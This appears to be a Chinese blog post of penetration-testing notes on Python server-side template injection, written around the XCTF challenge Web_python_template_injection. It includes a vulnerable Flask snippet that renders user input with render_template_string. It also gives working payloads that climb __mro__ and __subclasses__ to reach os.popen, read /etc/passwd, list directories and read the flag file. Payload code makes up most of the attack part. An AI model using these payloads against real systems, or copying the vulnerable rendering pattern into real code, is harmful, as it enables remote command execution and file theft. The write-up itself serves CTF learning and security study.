[渗透笔记][模板注入]python模板注入
发布日期:2021-05-07 06:19:22 浏览次数:21 分类:精选文章

本文共 1629 字,大约阅读时间需要 5 分钟。

python的html模板使用

def test():	code = request.args.get('id')	html = '''		   

%s

''' % (code) return render_template_string(html)

当我们访问页面的时候,py代码通过requests.args.get来获取’id’的值赋给code,然后生成html,然后render_template_string来渲染网页。

模板注入

就是指 将一串指令代替变量传入模板中让它执行 ,以这段代码为
例,我们在传入 code 值时,可以用 {
{}}
符号来包裹一系列代码,以此替代本应是参数的 id
得到的效果就是http://..../?id={
{代码}}


测试http://220.249.52.133:44524/{

{2+6}} 返回URL http://220.249.52.133:44524/8 not found
证明2+6被执行了。

接下来就是通过python的系统命令函数来获取信息。控制上面的code,使其等于os.system()\os.popen()

可以使用popen来获取命令执行后的信息。

但是render_template_string 的参数是字符串类型,所以就需要找到执行的类。

__class__ 返回类型所属的对象

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__类的初始化方法
__globals__对包含函数全局变量的字典的引用

例题 XCTF web Web_python_template_injection

1 、获取字符串的类对象>>> "".__class__
寻找基类>>> "".__class__.__mro__(
,
)
寻找可用引用>>> ''.__class__.__mro__[2].__subclasses__()>可以看到有一个`
`
利用file''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

继续找包含os的模块

for item in ''.__class__.__mro__[2].__subclasses__():    try:         if 'os' in item.__init__.__globals__:             print num,item         num+=1    except:        print '-'        num+=1找到:71 

构造payload

{
{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

{

{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

也可以通过用

{
{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

{

{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

上一篇:XCTF web web2 (密码学)
下一篇:XCTF web Web_php_include (php://过滤)

发表评论

最新留言

初次前来,多多关照!
[***.217.46.12]2025年05月03日 18时09分33秒